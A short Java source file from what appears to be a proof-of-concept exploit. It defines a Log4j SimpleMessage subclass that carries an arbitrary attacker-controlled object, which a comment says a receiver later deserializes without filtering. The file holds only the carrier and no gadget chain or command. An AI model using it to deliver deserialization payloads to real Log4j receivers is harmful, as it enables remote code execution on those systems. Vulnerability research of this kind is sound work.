package poc;

import org.apache.logging.log4j.message.SimpleMessage;

/**
 * Message wrapper carrying an arbitrary attacker-controlled object graph.
 * Log4jLogEvent.LogEventProxy.writeObject() marshals the Message into a
 * java.rmi.MarshalledObject, so this whole graph (including 'payload') is
 * later deserialized by MarshalledObject.get() on a plain, UNFILTERED
 * ObjectInputStream inside the receiver.
 */
public class MessageShell extends SimpleMessage {

    private static final long serialVersionUID = 1L;

    private final Object payload;

    public MessageShell(final Object payload) {
        super("benign message");
        this.payload = payload;
    }

    public Object getPayload() {
        return payload;
    }
}
